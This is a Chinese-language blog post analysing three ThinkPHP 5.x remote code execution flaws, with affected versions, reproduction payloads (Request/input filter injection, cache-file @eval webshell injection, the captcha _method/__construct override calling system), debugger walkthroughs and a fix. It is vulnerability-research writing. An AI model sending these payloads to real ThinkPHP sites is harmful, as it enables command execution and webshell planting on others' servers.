TP5 RCE分析
RCE1
参考:https://www.anquanke.com/post/id/177173#h2-14
https://xz.aliyun.com/t/3570#toc-0
https://xz.aliyun.com/t/7792#toc-0
https://hack-for.fun/a45.html#%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93
https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ
影响版本
1 | TP 5.0.7 - 5.0.24 |
payload
5.0
1 | ?s=index/think\config/get&name=database.username // 获取配置信息 |
5.1
1 | ?s=index/\think\Request/input&filter[]=system&data=pwd |
复现环境 tp 5.1.29+phpstorm+phpstudy+php7.3.9
下载对应版本的TP
1 | composer create-project topthink/think=X.X.X TPX.X.X --prefer-dist |
漏洞分析
在App.php的4.2行下断点
访问http://127.0.0.1/thinkphp/tp5.1/public/?s=index/\think\Request/input&filter[]=system&data=whoami
进入routeCheck(),进入path()方法
进入pathinfo()方法,根据我们不同的请求方法会使用不同方法获取url的信息
最终获取的信息就是index/\think\Request/input
接下来判断是否为强制路由,如是则后面报错退出
然后进入check(), 返回一个UrlDispatch的对象, 之后调用的init()方法就是Url.php中的init()方法,最终RouteCheck方法返回一个类
之后进入init()方法中
进入parseUrl()方法
进入parseUrl()方法,该方法将访问的url信息拆分为 module,controller,action
然后传入module类,此时的result为 ,进入module类后 对模块等参数进行验证
然后一路执行到
这里先创建一个闭包函数,传入add()方法,然后将闭包函数作为中间件存入$this->queue[$type][] = $middleware;
然后进入dispatch()方法,使用回调函数调用resolve()方法
进入resolve()方法$middleware = array_shift($this->queue[$type]);
将之前的闭包函数赋值给
$middleware
,到下面的call_func_array调用之前的闭包函数
执行Dispatch类的run()方法
进入到module类的exec()方法,直到利用反射机制 实现rce
1 | 写入shell |
修复方法
在module类中增加对控制器合法性的检测
1 | // 是否自动转换控制器和操作名 |
RCE2
影响版本
1 | 5.0.0 - 5.0.10 |
复现环境 phpstorm+phpstudy+php7.3.9
payload
1 | http://127.0.0.1/thinkphp/tp5.0.10/public/index.php/Index/Test/test?username=%0d%0a@eval($_GET[_]);// |
创建demo,在application\index\controller
下创建Test.php文件
1 |
|
生成了php文件
1 | <?php |
漏洞分析
在入口处下断点
进入Cache类的set方法
进入init()方法
进入connect()方法,获取$options
,最终返回的self::$instance[$name]
是file类的实例化
退出后进入file类的set()方法,然后进入getCacheKey()方法,在这将变量$name
的值进行md5加密,将前两位作为文件夹名,后面的几位作为文件名,而$name
的值就是在开始创建文件中的name
返回set()方法,将url中的数据与\r\n@eval($_GET[_]);//
拼接,存入文件中
RCE3
影响版本
1 | 5.0-5.0.23 开起debug无论在完整版还是非完整版都会触发 |
复现环境 phpstorm+phpstudy+php5.5.9+tp5.0.22完整版
payload
1 | http://127.0.0.1/thinkphp/tp5.0.23w/public/index.php?s=captcha |
漏洞分析
request方法,由于表单请求类型伪装变量为_method
,只需要post一个_method
变量就可以然后指定其值就能调用任意方法,其中$this->{$this->method}($_POST);
中的参数都是可控的,当动态调用__construct
时。
$options
也是可控的,通过该方法filter
、method
、get
的值
在request类的param方法中,调用get方法
进入get方法,然后进入input方法
进入filterValue方法
call_user_func函数中的参数都可控,造成代码执行。
流程分析1
1 | http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha |
先进行路由注册,调用了完整核心下的think-captcha/src
的helper.php文件,这里的值就会影响self::$rules
的值
进入app.php,进入routecheck方法
进入check方法
在check方法中调用method方法,然后动态调用__construct
方法,然后对变量进行覆盖
接着将之前路由注册时的值赋值给$rules
,接着一路返回到app类,将值赋值给$dispatch
进入exec方法
调用param方法,由于$dispatch["type"]
为method,进入method分支
进入get方法,进入input方法,然后进入getfilter方法,将之前method覆盖的值赋值给$filter
变量,然后进入filterValue方法
调用call_user_func方法
流程就完成了,造成命令执行
流程分析2
1 | http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha |
前面的流程还是一样的,在param方法中,进入method方法
由于$this->method(true)
为true,进入server方法
进入input方法
在input方法中获取传入的值whoami
在getfilter中作用相同,将system赋值给$filter
进入filtervalue中。由于call_user_func的两个变量都为传入的值,可以直接造成命令执行
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!